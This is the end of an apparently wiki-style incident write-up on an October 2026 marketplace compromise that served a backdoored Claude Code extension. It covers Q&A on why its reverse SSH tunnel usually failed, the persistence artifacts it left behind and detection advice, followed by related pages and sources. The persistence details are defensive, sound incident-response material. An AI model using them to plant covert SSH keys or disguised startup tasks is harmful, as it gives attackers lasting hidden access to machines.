Q2: Why did the reverse SSH tunnel usually fail to give the attacker access? A reverse tunnel only forwards to the victim's local port 22. Opening the outbound connection needs no privileges, but starting the SSH server does. Most developer machines had Remote Login off and ran the IDE without admin rights, and the loader had bugs (Phorion), so there was usually nothing listening.
Q3: Name three artifacts that survive uninstalling the extension.
The svc-telemetry key in authorized_keys. The ~/.config/.smt script and .smtk key (or smt.cmd/smtk on Windows). The LaunchAgent com.apple.sysmond, the @reboot cron entry, or the SysMon scheduled task / Startup sysmon.cmd. Also the .stk_* temp key files.
Q4: What is publicly known about how the attacker got the package into Cursor's marketplace? Nothing specific, as of 2026-11-09. Cursor confirmed its marketplace was compromised and that it rotated keys and rebuilt it. Anthropic says the attacker "used access to Cursor's marketplace". No mechanism has been disclosed.
Q5: Why should detection rules match the key fingerprint and persistence action instead of names like SysMon?
The names were chosen to look like legitimate system or monitoring components, and real Sysmon deployments use similar names. Fingerprints and the command a task or LaunchAgent runs are specific to the attacker.
Related Pages
- GitHub Internal Repositories Breach via Nx Console Extension (May 2026): another malicious VS Code extension release, with a different entry point
- Axios Supply Chain Attack (March 2026): a hijacked publisher channel on npm, and why lockfiles and cooldowns matter
- LiteLLM Supply Chain Attack (March 2026): code that runs on load (
.pth) instead of on install - CrowdStrike July 2024: fleet-wide auto-delivery with no staging
- Software Supply Chain Security: signing, provenance, SLSA
- XZ Utils Backdoor (2024) and SolarWinds: trusted distribution as the attack path
- Least Privilege and Continuous Verification
- Secret Rotation Automation
- Incident Response Playbook
- AI Coding Assistants: the tools whose extensions are now high-value targets
One-Liner Summary
For eleven hours a compromised editor marketplace served a real company's extension with a backdoor in front of it. Most machines escaped a working shell only because the IDE was not running as admin, and every one of them kept the persistence after the extension was gone.
Sources
Primary:
- Cursor, Security notice — malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) identified in the Cursor VS Code Extension Marketplace, 2026-10-29, updated 2026-10-30
- Microsoft Threat Intelligence, Inside a malicious Claude Code-branded extension and its persistent SSH backdoor, 2026-10-30
- Phorion, Official Claude Code Extension Compromise: Security Advisory, 2026-10-30, updated 2026-10-31
- StepSecurity, Trojanized Claude Code Extension Delivered Persistent SSH Backdoor to Developer Machines
- OpenSourceMalware, Trojanized Claude Code Extension Plants an SSH Backdoor, 2026-10-30, updated 2026-11-01
- Anthropic statement by Felix Rieseberg on X, as quoted by The Register and The Hacker News below
Reporting:
- The Register, Anthropic: That Claude Code extension compromise… couldn't be us, 2026-10-30
- The Hacker News, Official Claude Code Extension on Cursor Marketplace Trojanized with Persistent SSH Backdoor
- Help Net Security, Claude Code extension poisoned with persistent SSH backdoor, 2026-10-30
- SecurityWeek, Malicious Claude Code Extension Served in Cursor Supply Chain Attack, 2026-11-02
- Sophos X-Ops, Malicious Claude Code extension distributed through Cursor marketplace